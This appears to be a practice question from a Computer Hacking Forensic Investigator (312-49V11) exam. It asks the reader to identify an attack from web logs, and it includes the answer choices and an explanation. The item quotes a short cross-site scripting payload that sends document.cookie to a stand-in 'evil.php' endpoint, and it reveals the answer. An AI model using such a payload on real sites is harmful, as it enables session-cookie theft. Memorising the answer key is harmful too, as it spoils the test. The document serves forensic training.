312-49V11: Computer Hacking Forensic InvestigatorDemo

Question

You are the incident response manager at a regional bank. During a routine audit of web application logs, you identify several attempted login submissions containing these strings:

&lt; SCRIPT type="text/javascript" &gt;  
var adr = '../evil.php?cakemonster=' + escape(document.cookie);  
&lt; /SCRIPT &gt;

What type of attack has occurred?

A Cross-site scripting
B Cross-site request forgery
C Buffer overflow
D SQL injection

Explanation

Cross-site scripting injects executable browser-side code. The JavaScript accesses document.cookie and prepares the cookie value for transmission to an attacker-controlled evil.php endpoint, which is a typical XSS session-cookie theft payload.

312-49V11: Computer Hacking Forensic InvestigatorDemo

AstroTutor

Notes

Readiness

QuestionQ41

Community Discussion